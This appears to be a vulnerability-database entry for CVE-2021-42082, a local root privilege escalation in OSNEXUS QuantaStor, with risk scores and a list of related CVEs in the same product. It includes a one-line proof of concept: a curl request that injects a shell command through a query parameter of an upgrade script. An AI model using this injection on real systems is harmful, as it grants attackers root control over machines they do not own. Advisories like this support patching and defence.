CVE-2021-42082: high-severity vulnerability in OSNEXUS QuantaStor
Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355
Published · Updated
E-mail alert when it lands in KEV, gets a public PoC or its score goes up.
21Vexday Risk Score
No sign of exploitation. No public exploitation artifact known so far.
ssvc Trackcvss 7.8epss 0.2%
Local users are able to execute scripts under root privileges.
POC
On the local host run the following command:
curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected products
OSNEXUS · QuantaStorRelated CVEs — OSNEXUS QuantaStor
In the same product, most dangerous first.
CVE-2021-42081CRITICALAuthenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355EPSS 1.2%CVE-2026-18265CRITICALOSNEXUS QuantaStor Missing Authentication Remote Code Execution VulnerabilityEPSS 1.0%CVE-2021-4406CRITICALAuthenticated Remote COmmand Execution as root in OSNEXUS QuantaStor version 6.0.0.355 and othersEPSS 1.0%CVE-2021-42080HIGHReflected XSS vulnerability in OSNEXUS QuantaStor before 6.0.0.355EPSS 0.7%CVE-2021-42079MEDIUMSSRF vulnerability in OSNEXUS QuantaStor before 6.0.0.355EPSS 0.7%CVE-2021-42083HIGHAuthenticated Stored XSS in OSNEXUS QuantaStor 6.0.0.335EPSS 0.5%